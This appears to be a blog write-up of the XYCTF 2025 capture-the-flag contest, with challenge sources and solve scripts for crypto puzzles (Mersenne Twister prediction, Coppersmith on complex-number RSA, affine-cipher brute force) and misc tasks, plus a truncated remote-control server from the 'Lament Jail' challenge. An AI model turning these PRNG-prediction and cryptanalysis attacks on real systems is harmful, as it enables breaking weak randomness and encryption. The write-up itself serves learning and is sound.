*代表未解决,可能是卡了,也可能是没思路了,简单做个记录,然后跑了,再或者是后续没来得及复现,在此处留个坑,等以后回来填上……

复现网址

Crypto

Division

LamentXU学不明白除法了,能教教我吗?(adwa这个骗人的大坏蛋>_<,这个才是签到啊)

py
# -*- encoding: utf-8 -*-
'''
@File : server.py
@Time : 2025/03/20 12:25:03
@Author : LamentXU
'''
import random
print('----Welcome to my division calc----')
print('''
menu:
[1] Division calc
[2] Get flag
''')
while True:
choose = input(': >>> ')
if choose == '1':
try:
denominator = int(input('input the denominator: >>> '))
except:
print('INPUT NUMBERS')
continue
nominator = random.getrandbits(32)
if denominator == '0':
print('NO YOU DONT')
continue
else:
print(f'{nominator}//{denominator} = {nominator//denominator}')
elif choose == '2':
try:
ans = input('input the answer: >>> ')
rand1 = random.getrandbits(11000)
rand2 = random.getrandbits(10000)
correct_ans = rand1 // rand2
if correct_ans == int(ans):
print('WOW')
with open('flag', 'r') as f:
print(f'Here is your flag: {f.read()}')
else:
print(f'NOPE, the correct answer is {correct_ans}')
except:
print('INPUT NUMBERS')
else:
print('Invalid choice')

MT19937,令分母为1,连续获得624轮随机数,再预测rand1 rand2即可得到flag

py
from pwn import *
from Crypto.Util.number import *
from randcrack import RandCrack
from tqdm import trange

p = remote("47.94.15.198", 20491)
rc = RandCrack()
for i in trange(624):
p.recvuntil(': >>> ')
p.sendline(b'1')
p.recvuntil(': >>> ')
p.sendline(b'1')
a = str(p.recvline().decode()).split(' = ')[1]
rc.submit(int(a))
p.recvuntil(': >>> ')
p.sendline(b'2')
p.recvuntil(': >>> ')
rand1 = rc.predict_getrandbits(11000)
rand2 = rc.predict_getrandbits(10000)
ans = rand1 // rand2
p.sendline(str(ans))
p.recvuntil(b'Here is your flag: ')
flag = p.recvline()
print(flag)
p.interactive()

Complex_signin

As everyone knows, a check-in challenge shouldn’t look too much like a check-in. So, this is a simple partial m leakage in RSA—but then again, it doesn’t seem like just a simple partial m leakage in RSA.

py
from Crypto.Util.number import *
from Crypto.Cipher import ChaCha20
import hashlib
from secret import flag


class Complex:
def __init__(self, re, im):
self.re = re
self.im = im

def __mul__(self, c):
re_ = self.re * c.re - self.im * c.im
im_ = self.re * c.im + self.im * c.re
return Complex(re_, im_)

def __eq__(self, c):
return self.re == c.re and self.im == c.im

def __rshift__(self, m):
return Complex(self.re >> m, self.im >> m)

def __lshift__(self, m):
return Complex(self.re << m, self.im << m)

def __str__(self):
if self.im == 0:
return str(self.re)
elif self.re == 0:
if abs(self.im) == 1:
return f"{'-' if self.im < 0 else ''}i"
else:
return f"{self.im}i"
else:
return f"{self.re} {'+' if self.im > 0 else '-'} {abs(self.im)}i"

def tolist(self):
return [self.re, self.im]


def complex_pow(c, exp, n):
result = Complex(1, 0)
while exp > 0:
if exp & 1:
result = result * c
result.re = result.re % n
result.im = result.im % n
c = c * c
c.re = c.re % n
c.im = c.im % n
exp >>= 1
return result

bits = 128
p = getPrime(1024)
q = getPrime(1024)
n = p * q
m = Complex(getRandomRange(1, n), getRandomRange(1, n))
e = 3
c = complex_pow(m, e, n)
print(f"n = {n}")
print(f"mh = {(m >> bits << bits).tolist()}")
print(f"C = {c.tolist()}")
print(f"enc = {ChaCha20.new(key=hashlib.sha256(str(m.re + m.im).encode()).digest(), nonce=b'Pr3d1ctmyxjj').encrypt(flag)}")

'''
n = 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753
mh = [3960604425233637243960750976884707892473356737965752732899783806146911898367312949419828751012380013933993271701949681295313483782313836179989146607655230162315784541236731368582965456428944524621026385297377746108440938677401125816586119588080150103855075450874206012903009942468340296995700270449643148025957527925452034647677446705198250167222150181312718642480834399766134519333316989347221448685711220842032010517045985044813674426104295710015607450682205211098779229647334749706043180512861889295899050427257721209370423421046811102682648967375219936664246584194224745761842962418864084904820764122207293014016, 15053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552]
C = [5300743174999795329371527870190100703154639960450575575101738225528814331152637733729613419201898994386548816504858409726318742419169717222702404409496156167283354163362729304279553214510160589336672463972767842604886866159600567533436626931810981418193227593758688610512556391129176234307448758534506432755113432411099690991453452199653214054901093242337700880661006486138424743085527911347931571730473582051987520447237586885119205422668971876488684708196255266536680083835972668749902212285032756286424244284136941767752754078598830317271949981378674176685159516777247305970365843616105513456452993199192823148760, 21112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752]
enc = b'\x9c\xc4n\x8dF\xd9\x9e\xf4\x05\x82!\xde\xfe\x012$\xd0\x8c\xaf\xfb\rEb(\x04)\xa1\xa6\xbaI2J\xd2\xb2\x898\x11\xe6x\xa9\x19\x00pn\xf6rs- \xd2\xd1\xbe\xc7\xf51.\xd4\xd2 \xe7\xc6\xca\xe5\x19\xbe'
'''

复数域下的明文高位泄露去年就开始玩复数了,这里的话可以打二元copper,这里也是直接套用小鸡块师傅的脚本,其实跟一元相差不大

bound为两个根的上界,m为移位,d为多项式中的最高幂

$C\equiv(m_re+m_imi)^{3}\%nm_re=mh_re+xm_im=mh_im+yC_re\equiv(mh_re+x)^{3}-3(mh_re+x)(mh_im+y)^{2}\%nC_im\equiv3(mh_re+x)^{2}*(mh_im+y)-(mh_im+x)^{3}\%n$

py
# sage
from sage.all import *
from Crypto.Cipher import ChaCha20
import hashlib
import itertools

def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()

R = f.base_ring()
N = R.cardinality()

f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)

G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)

B, monomials = G.coefficient_matrix()
monomials = vector(monomials)

factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)

B = B.dense_matrix().LLL()

B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)

H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots

return []

n =
mh =
C =
enc = b'\x9c\xc4n\x8dF\xd9\x9e\xf4\x05\x82!\xde\xfe\x012$\xd0\x8c\xaf\xfb\rEb(\x04)\xa1\xa6\xbaI2J\xd2\xb2\x898\x11\xe6x\xa9\x19\x00pn\xf6rs- \xd2\xd1\xbe\xc7\xf51.\xd4\xd2 \xe7\xc6\xca\xe5\x19\xbe'
mh_re, mh_im = mh
PR.<x,y>=PolynomialRing(Zmod(n))
f = (mh_re + x)**3 - 3*(mh_re + x)*(mh_im + y)**2 - C[0]
res = small_roots(f, (2^128,2^128), m=2, d=3)
m_re = mh_re + int(res[0][0])
m_im = mh_im + int(res[0][1])
flag = ChaCha20.new(key=hashlib.sha256(str(m_re + m_im).encode()).digest(), nonce=b'Pr3d1ctmyxjj').decrypt(enc).decode()
print(flag)
# XYCTF{Welcome_to_XYCTF_Now_let_us_together_play_Crypto_challenge}

reed

I’ve invented a new random number generation algorithm, and I believe it’s secure enough to withstand all known attacks!

py
import string
import random
from secret import flag

assert flag.startswith('XYCTF{') and flag.endswith('}')
flag = flag.rstrip('}').lstrip('XYCTF{')

table = string.ascii_letters + string.digits
assert all(i in table for i in flag)
r = random.Random()

class PRNG:
def __init__(self, seed):
self.a = 1145140
self.b = 19198100
random.seed(seed)

def next(self):
x = random.randint(self.a, self.b)
random.seed(x ** 2 + 1)
return x

def round(self, k):
for _ in range(k):
x = self.next()
return x

def encrypt(msg, a, b):
c = [(a * table.index(m) + b) % 19198111 for m in msg]
return c

seed = int(input('give me seed: '))
prng = PRNG(seed)
a = prng.round(r.randrange(2**16))
b = prng.round(r.randrange(2**16))
enc = encrypt(flag, a, b)
print(enc)

怎么说呢,一开始看到随机数种子,以为可以搞搞随机数漏洞,发现其实并不是的

$c_{0}\equiv am_{0}+b\%pc_{1}\equiv am_{1}+b\%pa\equiv (c_{0}-c_{1})(m_{0}-m_{1})^{-1}\%p只要GCD(m_{0}-m_{1},p)=1,逆元即存在b\equiv c_{0}-am_{0}\%p只需要遍历table^{2}的空间即可,然后注意ab范围,seed随便输$

py
import string
from pwn import *
import json

io = remote("39.106.48.123", 34301)

table = string.ascii_letters + string.digits
p = 19198111


def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)


def modinv(a, mod):
g, x, y = egcd(a, mod)
if g != 1:
return None
else:
return x % mod


def decrypt(enc):
for i in range(len(enc)):
for j in range(i + 1, len(enc)):
c0 = enc[i]
c1 = enc[j]
for m0 in range(len(table)):
for m1 in range(len(table)):
if m0 == m1:
continue
delta_m = m1 - m0
delta_c = (c1 - c0) % p
inv = modinv(delta_m, p)
if inv is None:
continue
a = (delta_c * inv) % p
b = (c0 - a * m0) % p
# Check if a and b are within PRNG's output range
if not (1145140 <= a <= 19198100):
continue
if not (1145140 <= b <= 19198100):
continue
valid = True
decrypted = []
for c in enc:
numerator = (c - b) % p
inv_a = modinv(a, p)
if inv_a is None:
valid = False
break
m = (numerator * inv_a) % p
if not (0 <= m < len(table)):
valid = False
break
decrypted.append(table[m])
if valid:
return ''.join(decrypted)
return "解密失败"


io.recvuntil(b'give me seed: ')
io.sendline(str(114514))
enc = json.loads(io.recvline().decode())
flag = decrypt(enc)
print("解密后的Flag:", f'XYCTF{{{flag}}}')
# 解密后的Flag: XYCTF{114514fixedpointissodangerous1919810}

choice

Before we wrap up, here’s one last easy problem.

random.py说实话没什么用

py
from Crypto.Util.number import bytes_to_long
from random import Random
from secret import flag

assert flag.startswith(b'XYCTF{') and flag.endswith(b'}')
flag = flag[6:-1]

msg = bytes_to_long(flag)
rand = Random()
test = bytes([i for i in range(255, -1, -1)])
open('output.py', 'w').write(f'enc = {msg ^ rand.getrandbits(msg.bit_length())}\nr = {[rand.choice(test) for _ in range(2496)]}')

这里还是MT19937,伪随机数算法的缺陷,2496*8=19968刚好够一轮state,注意到我们这里需要的是逆推上一个state(相当于反向预测吧)


所以r需要取反处理一下

此处借鉴一下未央师傅exp

py
# sage
import sys
# https://github.com/JuliaPoo/MT19937-Symbolic-Execution-and-Solver
sys.path.append('MT19937-Symbolic-Execution-and-Solver-master/source')

from MT19937 import MT19937
from Crypto.Util.number import *
enc = 5042764371819053176884777909105310461303359296255297
length = enc.bit_length()
print(length)
r = []
r = [255-i for i in r]
rng_clone = MT19937(state_from_data = (r, 8))

def getrandbits(n):
num = 0
for i in range(n//32):
num = (rng_clone() << (32 * i)) | num
num = rng_clone() >> (32 - (n % 32)) << n//32*32 | num
return num

rng_clone.reverse_states(length//32+1) # 回退到生成前n个随机数之前的状态
flag = enc ^^ getrandbits(176-1) # 172/8=21.5,22*8=176,可能存在误差所以减1试试
flag = b'XYCTF{'+long_to_bytes(flag)+b'}'
print(flag.decode())
# XYCTF{___0h_51mple_r@nd0m___}

prng_xxxx*

Why is it called prng_xxxx?Well, to cut costs and improve efficiency, we “laid off” the LFSR. Of course, this means the PRNG now has to do a lot more work—so it’s getting way more salary! XDNote: You can check out prng_lfsr on https://tangcuxiaojikuai.xyz/post/cb7cb618.html for some inspiration.

py
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import md5
from secret import flag, b, seed

class LCG:
def __init__(self, seed, a, b):
self.seed = seed
self.a = a
self.b = b
self.m = 2**128

def next(self):
self.seed = (self.seed * self.a + self.b) % self.m
return (self.seed >> 64) ^ (self.seed % 2**64)

class lfsr:
# 我被裁了/(ㄒoㄒ)/~~
pass

a = 47026247687942121848144207491837523525
assert b < 2**128 and seed < 2**128
lcg = LCG(seed, a, b)
print([lcg.next() for _ in [0] * 64])
print(AES.new(key=md5(str(seed).encode()).digest(), mode=AES.MODE_ECB).encrypt(pad(flag, 16)))
# [17861431650111939539, 15632044669542972472, 18085804805519111109, 11630394250634164303, 10914687109985225138, 7348450425255618214, 10796029302647050328, 14267824433700366397, 9363967587530173835, 8995382728269798714, 3504283765121786984, 1312349325731613524, 10716889342831891752, 12298317818779713512, 8701992888199838445, 7261196699430834071, 4670657923849978944, 9833942603152121381, 18304734854303383637, 15945503654626665549, 6509330987395005461, 223169047706410182, 12990946817252956584, 3884858487227858459, 6366350447244638553, 10326924732676590049, 12989931141522347344, 9197940263960765675, 2481604167192102429, 1409946688030505107, 9263229900540161832, 266892958530212020, 14298569012977896930, 17318088100106133211, 4224045753426648494, 650161332435727275, 9488449142549049042, 8916910451165068139, 10116136382602356010, 6604992256480748513, 7375827593997920567, 1661095751967623288, 4143230452547340203, 4145435984742575053, 10465207027576409947, 16146447204594626029, 2807803679403346199, 10857432394281592897, 1494771564147200381, 2085795265418108023, 11756240132299985418, 13802520243518071455, 1191829597542202169, 16603089856395516862, 12517247819572559598, 14148806699104849454, 8174845389550768121, 15565523852832475714, 10046639095828632930, 15353735627107824646, 7003433641698461961, 11217699328913391211, 6392630836483027655, 7918524192972397836]
# b'l\x8bd,\xa3\xe7\x87*\xca\n\xd7\x11\xd6n=\xeaS`\xa4w\x94(\xb9\xf9\xb9\xc6\xe3\xc2\xfb\xdb\x80\xf6\x9f\xc7\xd1F"`{;V\xa7}Z\xc0\xc0\xf6<'

勒索病毒*

帝皇坤在渗透的时候不小心运行了一个exe文件,然后重要文件被加密了,你能帮帮他吗

flag.txt.encbf0cb5cc6bea6146e9c1f109df953a57daa416d38a8ffba6438e7e599613e01f3b9a53dace4ccd55cd3e55ef88e0b835

然后是个可执行程序

复复复复数*

天啊,这个复复复复数比我认识中的复数还多出了……?

py
class ComComplex:
def __init__(self, value=[0,0,0,0]):
self.value = value
def __str__(self):
s = str(self.value[0])
for k,i in enumerate(self.value[1:]):
if i >= 0:
s += '+'
s += str(i) +'ijk'[k]
return s
def __add__(self,x):
return ComComplex([i+j for i,j in zip(self.value,x.value)])
def __mul__(self,x):
a = self.value[0]*x.value[0]-self.value[1]*x.value[1]-self.value[2]*x.value[2]-self.value[3]*x.value[3]
b = self.value[0]*x.value[1]+self.value[1]*x.value[0]+self.value[2]*x.value[3]-self.value[3]*x.value[2]
c = self.value[0]*x.value[2]-self.value[1]*x.value[3]+self.value[2]*x.value[0]+self.value[3]*x.value[1]
d = self.value[0]*x.value[3]+self.value[1]*x.value[2]-self.value[2]*x.value[1]+self.value[3]*x.value[0]
return ComComplex([a,b,c,d])
def __mod__(self,x):
return ComComplex([i % x for i in self.value])
def __pow__(self, x, n=None):
tmp = ComComplex(self.value)
a = ComComplex([1,0,0,0])
while x:
if x & 1:
a *= tmp
tmp *= tmp
if n:
a %= n
tmp %= n
x >>= 1
return a

from Crypto.Util.number import *
from secret import flag, hint

p = getPrime(256)
q = getPrime(256)
r = getPrime(256)
n = p * q * r

P = getPrime(512)
assert len(hint) == 20
hints = ComComplex([bytes_to_long(hint[i:i+5]) for i in range(0,20,5)])
keys = ComComplex([0, p, q, r])
print('hint =',hints)
print('gift =',hints*keys%P)
print('P =',P)

e = 65547
m = ComComplex([bytes_to_long(flag[i:i+len(flag)//4+1]) for i in range(0,len(flag),len(flag)//4+1)])
c = pow(m, e, n)
print('n =', n)
print('c =', c)

'''
hint = 375413371936+452903063925i+418564633198j+452841062207k
gift = 8123312244520119413231609191866976836916616973013918670932199631084038015924368317077919454611785179950870055560079987034735836668109705445946887481003729+20508867471664499348708768798854433383217801696267611753941328714877299161068885700412171i+22802458968832151777449744120185122420871929971817937643641589637402679927558503881707868j+40224499597522456323122179021760594618350780974297095023316834212332206526399536884102863k
P = 8123312244520119413231609191866976836916616973013918670932199631182724263362174895104545305364960781233690810077210539091362134310623408173268475389315109
n = 408713495380933615345467409596399184629824932933932227692519320046890365817329617301604051766392980053993030281090124694858194866782889226223493799859404283664530068697313752856923001112586828837146686963124061670340088332769524367
c = 212391106108596254648968182832931369624606731443797421732310126161911908195602305474921714075911012622738456373731638115041135121458776339519085497285769160263024788009541257401354037620169924991531279387552806754098200127027800103+24398526281840329222660628769015610312084745844610670698920371305353888694519135578269023873988641161449924124665731242993290561874625654977013162008430854786349580090169988458393820787665342793716311005178101342140536536153873825i+45426319565874516841189981758358042952736832934179778483602503215353130229731883231784466068253520728052302138781204883495827539943655851877172681021818282251414044916889460602783324944030929987991059211909160860125047647337380125j+96704582331728201332157222706704482771142627223521415975953255983058954606417974983056516338287792260492498273014507582247155218239742778886055575426154960475637748339582574453542182586573424942835640846567809581805953259331957385k
'''

reference

后续这三题怕是不好复现了……

Misc

XGCTF

2024年CTFshow举办了一场名为“西瓜杯”的比赛(XGCTF)。其中LamentXU在出题的时候,从某场比赛拉了道原题下来改了改,结果传文件的时候传错了传成原题了。因为这件事LamentXU的损友dragonkeep在他之前的博客上的原题wp上加了一段flag来嘲笑LamentXU。请你找到XGCTF中唯一由LamentXU出的题,并找出这题对应的原题,接着找到dragonkeep师傅的博客,并从博客上讲解该题的博文中找到flag。(hint:dragonkeep师傅因为比较穷买不起域名,因此他博客的域名在dragonkeep的基础上多了个字母)
(出题人:LamentXU)

可以去ctfshow直接找XGCTF,看出题人出了哪道题目
然后,找dragonkeep师傅的博客,过程不细说,懂的自然懂,直接放结果

flag{1t_I3_t3E_s@Me_ChAl1eNge_aT_a1L_P1e@se_fOrg1ve_Me}

签个到吧

最小的,具有图灵完备性的语言是?

py
>+++++++++++++++++[<++++++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++[<+++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++[<++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++++++[<+++++++>-+-+-+-]<[-]>++++++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++[<++++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>+++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++[<+++++>-+-+-+-]<[-]

brainfuck,但很遗憾解不出来,没关系交给AI,很高兴AI利用它强大的分析能力,分析出flag的形式了,即>[之间的加号数量乘上<>之间的加号数量就是flagASCII值(本质原理确实如此),还是要拷打它要个脚本,因为统计的太拉了。。。

py
def decode_bf_string(filename):
with open(filename, "r") as f:
data = f.read().strip()

pos = 0
result = ""
while pos < len(data):
# 查找第一个 ">" 字符
idx_gt = data.find(">", pos)
if idx_gt == -1:
break

# 从 ">" 后计数连续的 "+"
idx = idx_gt + 1
count_out = 0
while idx < len(data) and data[idx] == "+":
count_out += 1
idx += 1
# 若没有遇到 "[",则说明解析结束
if idx >= len(data) or data[idx] != "[":
break

# 从 "[" 后查找第一个 "<"
idx_bracket = data.find("<", idx)
if idx_bracket == -1:
break

# 从 "<" 后计数连续的 "+"
idx = idx_bracket + 1
count_in = 0
while idx < len(data) and data[idx] == "+":
count_in += 1
idx += 1
# 若没有遇到 ">" 则跳出
if idx >= len(data) or data[idx] != ">":
break

# 计算乘积并转换为字符
product = count_out * count_in
result += chr(product)

# 更新 pos 到刚刚匹配完的 ">" 之后,继续下一段
pos = idx + 1

return result


if __name__ == "__main__":
filename = "C:\\Users\\27920\\Desktop\\bf.txt"
decoded = decode_bf_string(filename)
print("解密结果:", decoded)

flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}

题目这里只是缺乏输出,我们只需要使用.即可(难道你没发现少了这个东西吗)
全部的<[替换为<.[即可

曼波曼波曼波

给了一张假flag的二维码,然后smn.txt很明显是倒序的base64,把图像下载下来发现jpg图片尾压缩包,导出,压缩包密码盲猜XYCTF2025,然后得到两张看似一样的照片,直接上双图盲水印


XYCTF{easy_yin_xie_dfbfuj877}

MADer也要当CTFer*

你知道PRTShark是什么意思吗,P是位置,R是旋转,T是不透明度,S是缩放,而hark代表这道题是hard to hack吧

蚝康,这题需要使用到AE,一款图形视频处理软件,那还是蹲个wp观摩一下吧

会飞的雷克萨斯*

2025年1月30日W1ndys上网冲浪时,收到了舍友发来的聊天记录,聊天记录显示,一小孩放鞭炮引爆地面,请定位爆炸点的具体位置,该题解出需要通过正常的osint题目做题思路

好,是社工,笑死,不玩(狗头)

Greedymen*

Isn’t it ironic? Greed isn’t limited. Freedom is a limited resource.

py
nc 8.147.132.32 17479
Welcome to the Greedy Game
Your goal is to be as greedy as possible
1.Play
2.Rules
3.Quit
2
There are 3 levels, level 1/2/3 has number 1 to 50/100/200 on board to choose from
Each number you choose, you get the corresponding points
However, your opponent will choose all the factors of the number you choose, and get the points of each factor
You can not choose numbers that are already assigned to a player
You are only allow to choose the number if it has at least one factor not choosen
If you can't choose anymore, the rest of the board goes to your opponent
To make the challenge harder, there is a counter that starts with 19/37/76 in level 1/2/3, each time you choose a number, the counter decreases by 1
When it reaches 0, and the game will end, and the unassigned numbers will go to your opponent
The challenge is always solvable
Player with highest score wins
Good Luck!
1.Play
2.Rules
3.Quit
1
Level 1/3 50 Numbers
Unassigned Numbers: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50]
Counter: 19
Your Score: 0
Opponent Score: 0
Choose a Number:49
Unassigned Numbers: [2, 3, 4, 5, 6, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 50]
Counter: 18
Your Score: 49
Opponent Score: 8
Choose a Number:

肥肠好玩的一个游戏

sins*

“Come now, let us settle the matter,” says the LORD. “Though your sins are like scarlet, they shall be as white as snow; though they are red as crimson, they shall be like wool. - Isaiah 1:18

py
from secret import flag

print('For there are three that bear record in heaven, the Father, the Word, and the Holy Ghost')
print('But here we have four cases bearing witness')


def i_pow(n):
if n % 4 == 0: # as the 40 days of flood
return '1'
elif n % 4 == 1: # as the 1 true God
return 'i'
elif n % 4 == 2: # as the 2 tablets of stone
return '-1'
elif n % 4 == 3: # as the 3 days in the tomb
return '-i'

inp = input("wash away your sins: ")
assert all(i in "i0123456789+-*%/^=<>~&|:()[]'" for i in inp), "invalid char"
assert len(inp) < 16, "too long"
R = eval(f"lambda i: {inp}", {}, {})
assert all(R(i) == i_pow(i) for i in range(int.from_bytes(b'The_adwa_shall_forgive_thee') // 2**195))
print(flag)

Lament Jail*

异想体编号:H-██████ ;异想体名称:flag;安全等级:优;状态:该异想体已突破收容。描述:该异想体本质上为一段”flag{“开头”}”结尾的字符串。它极度胆怯,害怕人类不同等级的观察。该异想体经常突破收容。他的内容是██████████████████████████;收容条件:flag被收容在一个对公网开放的主机(flag-1,又名Lament Jail)上的/flag文件里。该主机上运行有能够让人们完全控制主机的服务(使用套接字进行远控),便于观测异想体状态;事件经过:事件编号████████████████。████年██月███日,由于工作人员██████████████的失误,flag被赋予高权限。它成功突破了收容。flag目前被观测到改写了人们控制它的服务。在这之上做了一些加密措施,并限制了远程代码的执行。这使得我们极难观测该异想体。同时,它摆脱了文件/flag的限制,逃到了█████████████。所幸,我们在主机上留下了/bin/rf,它可以直接从███████████████读取flag。同时,员工█████████████通过某种手段取回了正在运行的服务的源码。请你连接并突破该异想体在Lament Jail上做的限制,控制这台主机,找回flag。

py
# -*- coding:utf-8 -*-
# @FileName :Lament_Jail.py
# @Time :2025/3/22 12:37:43
# @Author :LamentXU
from socket import *
from os import remove
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from zlib import compress, decompress
from uuid import uuid4
from json import dumps
from subprocess import Popen, PIPE
'''
Definate all the errors
'''
class MessageLengthError(Exception):
def __init__(self, message) -> None:
self.message = message

class PasswordError(Exception):
def __init__(self, message) -> None:
self.message = message
class SimpleTCP():
'''
The main class when using TCP
'''

def __init__(self, family: AddressFamily = AF_INET, type: SocketKind = SOCK_STREAM
, proto: int = -1, fileno: int = None, is_encrypted: bool = True, AES_key: bytes = None, password: bytes = None) -> None:
'''
is_encrypted: use encrypted connection, only for server
AES_key: use a fixed AES_key, None for random, must be 16 bytes, only for server
password: A fixed password is acquired from the client (must smaller than be 100 bytes), if wrong, the connection will be closed
if password is set in server, every time a client connect, the client must send the same password back to the server to accept.
if password is set in client, every time you connect to the server, the password will be sent to the server to verify.
if password is None, no password will be used.
self.Default_message_len: if in encrypted mode, the value must be a multiple of self.BLOCK_SIZE
MAKE SURE THE DEFAULT_MESSAGE_LEN OF BOTH SERVER AND CLIENT ARE SAME, Or it could be a hassle
'''

self.BLOCK_SIZE = 16 # block size of padding text which will be encrypted by AES
# the block size must be a mutiple of 8
self.default_encoder = 'utf8' # the default encoder used in send and recv when the message is not bytes
if is_encrypted:
if AES_key == None:
self.key = get_random_bytes(16) # generate 16 bytes AES code
else:
self.key = AES_key #TODO check the input
self.cipher_aes = AES.new(self.key, AES.MODE_ECB)
else:
self.key, self.cipher_aes = None, None
self.default_message_len = 1024 # length of some basic message, it's best not to go below 1024 bytes
if password == None:
self.password = None
else:
self.password = self.turn_to_bytes(password)
if len(password) > 100:
raise ValueError('The password is too long, it must be smaller than 100 bytes')
self.s = socket(family, type, proto, fileno) # main socket
def accept(self) -> tuple:
'''
Accept with information exchange and key exchange, return the address of the client
if the password from client is wrong or not set, raise PasswordError
'''
self.s, address = self.s.accept()
if self.key == None:
is_encrypted = False
else:
is_encrypted = True
if self.password == None:
has_password = False
else:
has_password = True
info_dict = {
'is_encrypted' : is_encrypted,
'has_password' : has_password}
info_dict = dumps(info_dict).encode(encoding=self.default_encoder)
self.s.send(self.turn_to_bytes(len(info_dict)))
self.s.send(info_dict)
if has_password:
password_length = self.unpadding_packets(self.s.recv(3), -1)
if not password_length:
self.s.close()
raise PasswordError(f'The client {address} does not send the password, the connection will be closed')
recv_password = self.s.recv(int(password_length.decode(encoding=self.default_encoder))) # the first byte is whether the password is aquired(1) or not(0), the rest is the password, the password is padded to 100 bytes
if recv_password != self.password or recv_password[0] == b'0':
self.s.send(b'0')
self.s.close()
raise PasswordError(f'The password {recv_password} is wrong, the connection from {address} will be closed, you can restart the accept() function or put it in a while loop to keep accepting')
else:
self.s.send(b'1')
if is_encrypted:
public_key = self.s.recv(450)
rsa_public_key = RSA.import_key(public_key)
cipher_rsa = PKCS1_OAEP.new(rsa_public_key)
encrypted_aes_key = cipher_rsa.encrypt(self.key)
self.s.send(encrypted_aes_key)
# TODO
return address
def turn_to_bytes(self, message) -> bytes:
'''
